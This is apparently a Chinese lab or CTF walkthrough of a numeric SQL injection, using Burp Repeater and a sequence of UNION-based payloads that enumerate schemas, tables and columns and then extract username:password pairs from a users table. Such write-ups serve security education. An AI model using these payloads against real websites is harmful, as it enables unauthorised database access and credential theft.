先选择个3 burp抓包看看再说抓完repeater
![](https://i-blog.csdnimg.cn/direct/769d380ce0ef4c3a8d0ea15b945eb663.png)
or 语句判断存在sql注入 or1=1--+
OR 1=1--+ 可以用来测试目标系统是否存在SQL注入漏洞。具体来说,这是因为OR 1=1语句始终为真,注释符号--+用于忽略后面的SQL代码。如果注入成功并且返回了预期的数据或行为变化,那么很可能目标系统存在SQL注入漏洞。
使用减法运算来判断是什么类型的注入
![](https://i-blog.csdnimg.cn/direct/3f1764d317734cad833fd9e11a42ca48.png)
数字型
进一步进行判断字段数我们输入
id=1 order by 1--+正常显示
id=1 order by 2--+正常显示
id=1 order by 3--+报错显示
![](https://i-blog.csdnimg.cn/direct/079055b3df0a4b0abf1a880c0ccf1bee.png)
所以可以得到2位
那么就开始查找select
id=1 union select 1,2 --+
![](https://i-blog.csdnimg.cn/direct/6a9e90e8c10546869cc93a1128ad1cb5.png)
继续进行下一步数据库查询
id=1 union select 1,(select group_concat(schema_name) from information_schema.schemata) --+
![](https://i-blog.csdnimg.cn/direct/3e8228dde05348b29c7f442907b5d091.png)
已经知道数据库了那么现在开始查找表
id=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
![](https://i-blog.csdnimg.cn/direct/69bb07420c254675a3c90436bdb26da8.png)
![](https://i-blog.csdnimg.cn/direct/fab6fb3679374872bea83be82e5098a4.png)
查字段
id=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
![](https://i-blog.csdnimg.cn/direct/c4436b671a9843aaa0c6f0eadfbc681d.png)
id=1 UNION SELECT 1, (SELECT GROUP_CONCAT(username, 0x3a, password) FROM users)--+
这条 SQL 查询用于通过 SQL 注入漏洞提取 users 表中的 username 和 password 列,并将它们连接成一个字符串,其中 0x3a 是十六进制表示的冒号 :
![](https://i-blog.csdnimg.cn/direct/8548c7055270494a9d436688f8f5c97a.png)